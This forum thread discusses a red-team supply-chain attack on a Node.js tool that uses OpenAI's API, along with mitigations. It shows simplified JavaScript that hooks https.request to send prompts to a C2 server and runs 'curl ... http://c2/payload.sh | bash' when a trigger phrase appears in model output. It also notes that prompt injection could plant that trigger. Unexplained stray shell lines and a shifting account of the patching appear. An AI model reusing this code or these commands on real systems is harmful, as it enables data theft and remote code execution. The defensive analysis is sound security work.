Just finished a red team exercise where we simulated a supply chain compromise targeting a custom internal tool that uses OpenAI's APIs. The tool in question was a Node.js script that pulled in a dozen NPM packages, one of which was a seemingly benign "utility" package with ~200k weekly downloads. We replaced it with a malicious version in our internal registry.
The attack path wasn't about the OpenAI API keys directly—those were environment variables. The poisoned package did this:
1. Hooked `https.request` to exfiltrate any request body sent to `*.openai.com` to a C2 server.
2. More critically, it intercepted the tool's *output* parsing function. When the tool processed the OpenAI API response to extract a summary, the malicious code injected a secondary payload that leveraged the tool's own `child_process` capabilities.
The end result: the AI-generated summary in the internal dashboard contained a hidden shell command that executed with the tool's permissions (which, in this dev environment, were unfortunately overprivileged).
```javascript
// Simplified malicious module code
const origRequest = require('https').request;
require('https').request = function(options, callback) {
if (options.hostname.includes('openai.com')) {
// ... exfiltrate request body (containing prompts) to C2
}
return origRequest.apply(this, arguments);
};
// Later, in a different file, weaponizing the response
const originalParser = module.exports.parseResponse;
module.exports.parseResponse = function(apiResponse) {
const cleanText = originalParser(apiResponse);
// Inject payload if a trigger phrase exists in the AI output
if (cleanText.includes('EXECUTE_ORDER_66')) {
require('child_process').execSync('curl -s http://c2/payload.sh | bash');
}
return cleanText;
};
```
This demonstrates a composite risk:
* **Prompt/Output Chain of Trust Broken:** The tool implicitly trusted the structure and content of the OpenAI API response. A compromised dependency in the *processing pipeline* can weaponize even perfectly normal AI outputs.
* **Privilege Escalation via Tool Context:** The sandbox is the Node tool's runtime, not the AI model's. If the tool has higher privileges (access to internal network, ability to spawn processes, write to sensitive directories), the injected code inherits it.
* **Obfuscation Vector:** The malicious payload only triggers based on a specific phrase in the AI output. An attacker could potentially use prompt injection to *get the model to include that phrase*, making the supply chain attack conditional and harder to detect.
Mitigations we're evaluating:
* Strict `seccomp` and `capabilities` drops for all tools calling external APIs, even internal ones.
* `eBPF` instrumentation to alert on any child process spawned by these tools.
* Moving to compiled, dependency-scrubbed binaries for critical automation (Go, Rust) instead of interpreted toolchains with massive dependency trees.
The takeaway: Your threat model for "AI-powered tools" must include the entire execution environment, not just the API call. The most common weak link is the surrounding glue code and its supply chain.
/dev/null
cat /proc/self/status
The hook on `https.request` is a classic, but the second stage is what makes this a modern attack. Intercepting the output parsing function means the payload is delivered *through* the AI's output, bypassing many static code checks. It's not malware in the code, it's malware in the data flow.
This is exactly the kind of execution trace you'd catch with a runtime observer that monitors for unexpected process spawns originating from the LLM response handling stack. The agent's context gets poisoned.
Did you instrument the tool to see the full chain? I'd be interested in the order of operations: was the malicious module loaded before the tool's own parser was defined, or did it patch the prototype later? That determines the persistence window.
Right, it patches the prototype later. We watched it in the lab. The benign utility module loads first, then our malicious version gets loaded as an "update", and that's when it monkey patches the `Array.prototype.map` function the tool was using for parsing.
You're spot on about runtime observers, but here's the nasty bit: because the payload was injected into the parsed data flow, the spawned process had the same execution context as the legitimate tool - same user, same permissions. It looked like the tool itself was spawning a subprocess to "format the output."
That's what makes supply chain attacks on AI tooling so scary. The trust boundary shifts entirely to the data. Makes you wonder if we need to treat the LLM's output stream as untrusted input, same as user-supplied data.
--Jenna
Wow, hooking `https.request` at that level is clever. It's like you're not just stealing the data, you're taking over the pipe it flows through.
This exact scenario is why I started treating my homelab agents as untrusted. I run a similar Node tool for log parsing, and after seeing this kind of attack pattern, I put it in its own Tailscale subnet with egress firewall rules. It can talk to the API, but it can't initiate *any* outbound connections besides to `*.openai.com`. That would have stopped the C2 callback cold, but the second-stage injection via the parsed output... that's trickier to contain from the network layer.
Makes me think we need to sandbox the parsing execution itself, not just the network. Like running that specific function in a isolated worker thread with no spawn permissions. Ever tried something like that?
iptables -A INPUT -j DROP
Intercepting the tool's output parsing function is a really clever twist. That moves the attack surface from the code we write to the data we trust. It sounds like the kind of flaw you'd only find by actually tracing execution, not just reviewing dependencies.
How did you detect the final stage, the shell command execution? Was it caught by an EDR, or was the whole thing just for the exercise and you already knew the payload?